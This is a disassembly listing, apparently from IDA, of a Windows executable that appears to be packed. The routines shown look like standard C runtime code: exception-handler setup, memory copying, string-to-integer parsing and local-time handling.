		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_412D00
		cmp	ecx, [eax+8]
		jle	short loc_412D05


loc_412D00:				; CODE XREF: sub_412CC3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_412D11


loc_412D05:				; CODE XREF: sub_412CC3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_412D11:				; CODE XREF: sub_412CC3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_412CE1
		mov	eax, [ebp+var_4]


loc_412D1A:				; CODE XREF: sub_412CC3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_412D2E
		cmp	esi, eax
		jbe	short loc_412D33


loc_412D2E:				; CODE XREF: sub_412CC3+65j
		call	sub_4174C2


loc_412D33:				; CODE XREF: sub_412CC3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_412CC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D40	proc near		; CODE XREF: sub_419528+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_412D58
		push	[ebp+arg_0]
		call	sub_41C9DC	; RtlUnwind


loc_412D58:				; DATA XREF: sub_412D40+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_412D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D60	proc near		; DATA XREF: sub_412D82+Ao
					; sub_412DEA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_412D81
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_412D81:				; CODE XREF: sub_412D60+10j
		retn
sub_412D60	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D82	proc near		; CODE XREF: sub_41713F+Dp
					; sub_419528+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_412D60
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_412D9F:				; CODE XREF: sub_412D82:loc_412DDAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_412DDC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_412DDC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_412DDA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_412E16
		call	dword ptr [ebx+esi*4+8]


loc_412DDA:				; CODE XREF: sub_412D82+44j
		jmp	short loc_412D9F
; ---------------------------------------------------------------------------


loc_412DDC:				; CODE XREF: sub_412D82+2Aj
					; sub_412D82+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412D82	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DEA	proc near		; CODE XREF: sub_41715F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_412D60
		jnz	short locret_412E0C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_412E0C
		mov	eax, 1

locret_412E0C:				; CODE XREF: sub_412DEA+10j
					; sub_412DEA+1Bj
		retn
sub_412DEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E0D	proc near		; CODE XREF: sub_417420+1Ep
					; sub_417420+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43148C
		jmp	short loc_412E20
sub_412E0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E16	proc near		; CODE XREF: sub_412D82+4Fp
					; sub_419528+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43148C
		mov	ecx, [ebp+8]


loc_412E20:				; CODE XREF: sub_412E0D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_412E16	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412E30	proc near		; CODE XREF: sub_403053+5p
					; sub_4031F5+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_412E30	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412E4F	proc near		; CODE XREF: sub_4036CA+26p
					; .nsp0:0041C7B5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_412813
		pop	ecx
		retn
sub_412E4F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E60	proc near		; CODE XREF: sub_40373B+3Ap
					; sub_4153F8+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_412E80
		cmp	edi, eax
		jb	loc_412FF8


loc_412E80:				; CODE XREF: sub_412E60+16j
		test	edi, 3
		jnz	short loc_412E9C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_412EBC
		rep movsd
		jmp	off_412FA8[edx*4]
; ---------------------------------------------------------------------------


loc_412E9C:				; CODE XREF: sub_412E60+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_412EB4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_412EBC+4[eax*4]
; ---------------------------------------------------------------------------


loc_412EB4:				; CODE XREF: sub_412E60+46j
		jmp	dword ptr loc_412FB8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_412EBC:				; CODE XREF: sub_412E60+31j
					; sub_412E60+8Ej ...
		jmp	off_412F3C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_412ED0
		dd offset loc_412EFC
		dd offset loc_412F20
; ---------------------------------------------------------------------------


loc_412ED0:				; DATA XREF: sub_412E60+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_412EBC
		rep movsd
		jmp	off_412FA8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_412EFC:				; DATA XREF: sub_412E60+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_412EBC
		rep movsd
		jmp	off_412FA8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_412F20:				; DATA XREF: sub_412E60+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_412EBC
		rep movsd
		jmp	off_412FA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_412F3C	dd offset loc_412F9F	; DATA XREF: sub_412E60:loc_412EBCr
		dd offset loc_412F8C
		dd offset loc_412F84
		dd offset loc_412F7C
off_412F4C	dd offset loc_412F74	; DATA XREF: .nsp0:off_4256A8o
		dd offset loc_412F6C
		dd offset loc_412F64
		dd offset loc_412F5C
; ---------------------------------------------------------------------------


loc_412F5C:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_412F64:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_412F6C:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_412F74:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60:off_412F4Co
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_412F7C:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_412F84:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_412F8C:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_412F9F:				; CODE XREF: sub_412E60:loc_412EBCj
					; DATA XREF: sub_412E60:off_412F3Co
		jmp	off_412FA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_412FA8	dd offset loc_412FB8	; DATA XREF: sub_412E60+35r
					; sub_412E60+92r ...
		dd offset loc_412FC0
		dd offset loc_412FCC
		dd offset loc_412FE0
; ---------------------------------------------------------------------------


loc_412FB8:				; CODE XREF: sub_412E60+35j
					; sub_412E60+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_412FC0:				; CODE XREF: sub_412E60+35j
					; sub_412E60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_412FCC:				; CODE XREF: sub_412E60+35j
					; sub_412E60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_412FE0:				; CODE XREF: sub_412E60+35j
					; sub_412E60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_412FF8:				; CODE XREF: sub_412E60+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41302C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_413020
		std
		rep movsd
		cld
		jmp	off_413140[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_413020:				; CODE XREF: sub_412E60+1B1j
					; sub_412E60+208j ...
		neg	ecx
		jmp	dword ptr loc_4130EF+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41302C:				; CODE XREF: sub_412E60+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_413044
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_413044+4[eax*4]
; ---------------------------------------------------------------------------


loc_413044:				; CODE XREF: sub_412E60+1D6j
					; DATA XREF: sub_412E60+1DDr
		jmp	off_413140[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_413058
		dd offset loc_413078
		dd offset loc_4130A0
; ---------------------------------------------------------------------------


loc_413058:				; DATA XREF: sub_412E60+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_413020
		std
		rep movsd
		cld
		jmp	off_413140[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_413078:				; DATA XREF: sub_412E60+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_413020
		std
		rep movsd
		cld
		jmp	off_413140[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4130A0:				; DATA XREF: sub_412E60+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_413020
		std
		rep movsd
		cld
		jmp	off_413140[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4130F4
; ---------------------------------------------------------------------------
		cld
		xor	[ecx+0], al
		add	al, 31h
		inc	ecx
		add	[ecx+esi], cl
		inc	ecx
		add	[ecx+esi], dl
		inc	ecx
		add	[ecx+esi], bl
		inc	ecx
		add	[ecx+esi], ah
		inc	ecx


loc_4130EF:				; DATA XREF: sub_412E60+1C2r
		add	[edi], dh
		xor	[ecx+0], eax


loc_4130F4:				; DATA XREF: sub_412E60+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_413137:				; CODE XREF: sub_412E60+1C2j
		jmp	off_413140[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_413140	dd offset loc_413150	; DATA XREF: sub_412E60+1B7r
					; sub_412E60:loc_413044r ...
		dd offset loc_413158
		dd offset loc_413168
		dd offset loc_41317C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_412E60+1B7j
					; sub_412E60:loc_413044j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413158:				; CODE XREF: sub_412E60+1B7j
					; sub_412E60:loc_413044j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_413168:				; CODE XREF: sub_412E60+1B7j
					; sub_412E60:loc_413044j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41317C:				; CODE XREF: sub_412E60+1B7j
					; sub_412E60:loc_413044j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_412E60	endp


; =============== S U B	R O U T	I N E =======================================



sub_413195	proc near		; CODE XREF: sub_4037A2+34p
					; sub_4037A2+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_4127B1
		pop	ecx
		pop	ecx
		retn
sub_413195	endp


; =============== S U B	R O U T	I N E =======================================



sub_4131A3	proc near		; CODE XREF: sub_413210+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_464234
		call	sub_417518
		mov	edx, dword_464234
		pop	ecx
		mov	ecx, dword_464230
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_413202
		push	edx
		call	sub_417518
		add	eax, 10h
		push	eax
		push	dword_464234
		call	sub_413D8F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4131E5
		retn
; ---------------------------------------------------------------------------


loc_4131E5:				; CODE XREF: sub_4131A3+3Fj
		mov	ecx, dword_464230
		sub	ecx, dword_464234
		mov	dword_464234, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_464230, ecx


loc_413202:				; CODE XREF: sub_4131A3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_464230, 4
		retn
sub_4131A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_413210	proc near		; CODE XREF: sub_40388F+1Ap
					; sub_41C9BE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4131A3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_413210	endp


; =============== S U B	R O U T	I N E =======================================



sub_413222	proc near		; DATA XREF: .nsp0:0041F014o
		push	80h
		call	sub_41279F
		test	eax, eax
		pop	ecx
		mov	dword_464234, eax
		jnz	short loc_413243
		push	18h
		call	sub_4144BE
		mov	eax, dword_464234
		pop	ecx


loc_413243:				; CODE XREF: sub_413222+12j
		and	dword ptr [eax], 0
		mov	eax, dword_464234
		mov	dword_464230, eax
		retn
sub_413222	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413251	proc near		; CODE XREF: sub_413459+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_413269:				; CODE XREF: sub_413251+46j
		cmp	dword_4316BC, 1
		jle	short loc_413281
		movzx	eax, bl
		push	8
		push	eax
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_413290
; ---------------------------------------------------------------------------


loc_413281:				; CODE XREF: sub_413251+1Fj
		mov	ecx, off_4314B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_413290:				; CODE XREF: sub_413251+2Ej
		test	eax, eax
		jz	short loc_413299
		mov	bl, [esi]
		inc	esi
		jmp	short loc_413269
; ---------------------------------------------------------------------------


loc_413299:				; CODE XREF: sub_413251+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4132A7
		or	[ebp+arg_C], 2
		jmp	short loc_4132AC
; ---------------------------------------------------------------------------


loc_4132A7:				; CODE XREF: sub_413251+4Ej
		cmp	bl, 2Bh
		jnz	short loc_4132B2


loc_4132AC:				; CODE XREF: sub_413251+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_4132B2:				; CODE XREF: sub_413251+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_413449
		cmp	eax, 1
		jz	loc_413449
		cmp	eax, 24h
		jg	loc_413449
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4132FA
		cmp	bl, 30h
		jz	short loc_4132E4
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_413316
; ---------------------------------------------------------------------------


loc_4132E4:				; CODE XREF: sub_413251+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4132F7
		cmp	al, 58h
		jz	short loc_4132F7
		mov	[ebp+arg_8], 8
		jmp	short loc_413316
; ---------------------------------------------------------------------------


loc_4132F7:				; CODE XREF: sub_413251+97j
					; sub_413251+9Bj
		mov	[ebp+arg_8], ecx


loc_4132FA:				; CODE XREF: sub_413251+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_413316
		cmp	bl, 30h
		jnz	short loc_413316
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41330E
		cmp	al, 58h
		jnz	short loc_413316


loc_41330E:				; CODE XREF: sub_413251+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_413316:				; CODE XREF: sub_413251+91j
					; sub_413251+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_413326:				; CODE XREF: sub_413251+16Cj
		cmp	dword_4316BC, 1
		movzx	esi, bl
		jle	short loc_41333E
		push	4
		push	esi
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_413349
; ---------------------------------------------------------------------------


loc_41333E:				; CODE XREF: sub_413251+DFj
		mov	eax, off_4314B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_413349:				; CODE XREF: sub_413251+EBj
		test	eax, eax
		jz	short loc_413355
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_413387
; ---------------------------------------------------------------------------


loc_413355:				; CODE XREF: sub_413251+FAj
		cmp	dword_4316BC, 1
		jle	short loc_413369
		push	edi
		push	esi
		call	sub_414E26
		pop	ecx
		pop	ecx
		jmp	short loc_413374
; ---------------------------------------------------------------------------


loc_413369:				; CODE XREF: sub_413251+10Bj
		mov	eax, off_4314B0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_413374:				; CODE XREF: sub_413251+116j
		test	eax, eax
		jz	short loc_4133C2
		movsx	eax, bl
		push	eax
		call	sub_417541
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_413387:				; CODE XREF: sub_413251+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4133C2
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4133AC
		jnz	short loc_4133A6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4133AC


loc_4133A6:				; CODE XREF: sub_413251+147j
		or	[ebp+arg_C], 4
		jmp	short loc_4133B5
; ---------------------------------------------------------------------------


loc_4133AC:				; CODE XREF: sub_413251+145j
					; sub_413251+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_4133B5:				; CODE XREF: sub_413251+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_413326
; ---------------------------------------------------------------------------


loc_4133C2:				; CODE XREF: sub_413251+125j
					; sub_413251+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4133E0
		test	edx, edx
		jz	short loc_4133DA
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4133DA:				; CODE XREF: sub_413251+181j
		and	[ebp+var_8], 0
		jmp	short loc_41342D
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_413251+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_413406
		test	cl, 1
		jnz	short loc_41342D
		and	ecx, 2
		jz	short loc_4133FD
		cmp	[ebp+var_8], 80000000h
		ja	short loc_413406


loc_4133FD:				; CODE XREF: sub_413251+1A1j
		test	ecx, ecx
		jnz	short loc_41342D
		cmp	[ebp+var_8], eax
		jbe	short loc_41342D


loc_413406:				; CODE XREF: sub_413251+197j
					; sub_413251+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_462BC4, 22h
		jz	short loc_41341C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41342D
; ---------------------------------------------------------------------------


loc_41341C:				; CODE XREF: sub_413251+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41342D:				; CODE XREF: sub_413251+18Dj
					; sub_413251+19Cj ...
		test	edx, edx
		jz	short loc_413436
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_413436:				; CODE XREF: sub_413251+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_413444
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_413444:				; CODE XREF: sub_413251+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_413454
; ---------------------------------------------------------------------------


loc_413449:				; CODE XREF: sub_413251+66j
					; sub_413251+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_413452
		mov	[eax], edi


loc_413452:				; CODE XREF: sub_413251+1FDj
		xor	eax, eax


loc_413454:				; CODE XREF: sub_413251+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413251	endp


; =============== S U B	R O U T	I N E =======================================



sub_413459	proc near		; CODE XREF: sub_403A5B+4BDp
					; .nsp0:0040D561p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_413251
		add	esp, 10h
		retn
sub_413459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413470	proc near		; CODE XREF: sub_403A5B+266p
					; sub_403A5B+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_4126F0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41760D
		add	esp, 10h
		leave
		retn
sub_413470	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134A4	proc near		; CODE XREF: sub_403A5B+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41D058	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0AB0000h
		mov	esp, 0EA458B66h
		cmp	ax, word_462BBA
		jnz	short loc_413509
		mov	ax, [ebp+var_18]
		cmp	ax, word_462BB8
		jnz	short loc_413509
		mov	ax, [ebp+var_1A]
		cmp	ax, word_462BB6
		jnz	short loc_413509
		mov	ax, [ebp+var_1E]
		cmp	ax, word_462BB2
		jnz	short loc_413509
		mov	ax, [ebp+var_20]
		cmp	ax, word_462BB0
		jnz	short loc_413509
		mov	eax, dword_462BA8
		jmp	short loc_41354E
; ---------------------------------------------------------------------------


loc_413509:				; CODE XREF: sub_4134A4+28j
					; sub_4134A4+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 0AB0000h
		push	cs
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413536
		cmp	eax, 2
		jnz	short loc_413532
		cmp	[ebp+var_32], 0
		jz	short loc_413532
		cmp	[ebp+var_24], 0
		jz	short loc_413532
		push	1
		pop	eax
		jmp	short loc_413539
; ---------------------------------------------------------------------------


loc_413532:				; CODE XREF: sub_4134A4+7Aj
					; sub_4134A4+81j ...
		xor	eax, eax
		jmp	short loc_413539
; ---------------------------------------------------------------------------


loc_413536:				; CODE XREF: sub_4134A4+75j
		or	eax, 0FFFFFFFFh


loc_413539:				; CODE XREF: sub_4134A4+8Cj
					; sub_4134A4+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_462BB0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_462BA8, eax
		pop	esi


loc_41354E:				; CODE XREF: sub_4134A4+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_4180BE
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41357E
		mov	[ecx], eax

locret_41357E:				; CODE XREF: sub_4134A4+D6j
		leave
		retn
